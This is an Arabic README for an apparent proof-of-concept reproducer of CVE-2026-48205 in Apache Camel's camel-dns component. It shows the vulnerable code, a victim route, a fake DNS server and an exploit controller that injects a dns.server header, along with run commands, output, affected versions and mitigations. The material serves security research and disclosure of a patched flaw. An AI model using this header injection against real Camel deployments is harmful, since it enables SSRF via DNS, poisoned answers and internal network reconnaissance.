
أداة إعادة إنتاج لـ CVE-2026-48205: Apache Camel camel-dns حقن رأس dns.* يعيد توجيه استعلامات DNS إلى محلل DNS يتحكم به المهاجم (SSRF عبر DNS) ويمكن من استكشاف أسماء المضيفين الداخلية (تم إصلاحه في 4.14.8/4.18.3/4.21.0)
dns.* / term أداة إعادة إنتاج حقن الرأس (CVE-2026-48205)يوضح هذا المشروع حقن رأس الرسالة في مكون camel-dns الخاص بـ Apache Camel، والمُتتبع باسم CVE-2026-48205. يقرأ منتجو DNS معاملات تشغيلهم — المُحلل المراد الاستعلام عنه، الاسم/النطاق المراد البحث عنه، نوع/فئة السجل ومصطلح البحث — من رؤوس Exchange التي كانت قيمها الثابتة (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) هي السلاسل العادية dns.server, dns.name, dns.domain, dns.type, dns.class و term. نظرًا لأن هذه الأسماء لا تبدأ بالبادئة Camel / camel، فإن HttpHeaderFilterStrategy — الذي يحظر فقط مساحة اسم رأس Camel عند حدود HTTP — يسمح لها بالمرور من طلب HTTP وارد مباشرة إلى Exchange.
في مسار يربط مستهلك HTTP (مثل platform-http) بمنتج dns:، يمكن لأي عميل HTTP بالتالي تعيين الرأس dns.server لجعل منتج dig يبني SimpleResolver يشير إلى خادم DNS يتحكم به المهاجم — تزوير طلب من جانب الخادم عبر DNS، من خلاله يلاحظ المهاجم الاسم المستعلم عنه ويمكنه إرجاع استجابات مسمومة — ويمكنه تعيين dns.name / dns.domain لحل أسماء مضيفين داخليين عشوائيين (استطلاع الشبكة الداخلية).
إشعار أمني: https://camel.apache.org/security/CVE-2026-48205.html
الإصلاح يعيد تسمية الرؤوس إلى
CamelDnsServer/CamelDnsName/ إلخ، بحيث يتم تصفيتها على حدود HTTP مثل أي رأس تحكم Camel آخر. نفس عائلة CVE-2025-27636 و CVE-2026-46454 و CVE-2026-47323.
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
الإصلاح (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) يعيد تسمية القيم إلى اصطلاح CamelDns*.
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
المسار يحفر اسمًا ثابتًا ضد المُحلل الافتراضي. يضيف المهاجم رأس dns.server واحدًا ويتم إعادة توجيه الاستعلام إلى خادم DNS الخاص به. (dns.server هو حرف صغير، لذلك ينجو من تطبيع رؤوس حاوية servlet — platform-http كافٍ.)
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
يرى خادم DNS الخاص بالمهاجم الآن اسم البحث الخاص بالضحية (ويمكنه إرجاع إجابة مسمومة). توجيه dns.server إلى محلل DNS داخلي حقيقي، أو تعيين dns.name إلى أسماء مضيفين داخليين، يتيح استطلاع الشبكة الداخلية.
قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). بعد الترقية، يجب على المسارات التي تقود عمليات DNS عبر الرؤوس استخدام CamelDnsServer / CamelDnsName / إلخ.
حتى الترقية، قم بإزالة الرؤوس dns.* و term من أي مدخل غير موثوق قبل منتج dns:، وقم بتعيين خادم DNS ومعاملات البحث من مصدر موثوق في المسار.
تم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصححة علنًا. لا تستخدمها ضد الأنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكون | camel-dns |
| الفئة المتأثرة | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (التحقق غير الصحيح من المدخلات) / CWE-918 (تزوير طلب من جانب الخادم) |
| التأثير | إعادة توجيه استعلام DNS الخاص بالمسار إلى خادم يتحكم به المهاجم (مراقبة الأسماء، إرجاع إجابات مسمومة)؛ تعداد أسماء المضيفين الداخليين |
| الشروط المسبقة | مسار يربط مستهلك HTTP بمنتج dns:؛ غير مُصادق عليه عندما يكون المستهلك كذلك |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0 |
| الإصدارات المُصححة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| المُنسب إليه | Yu Bao (PayPal) |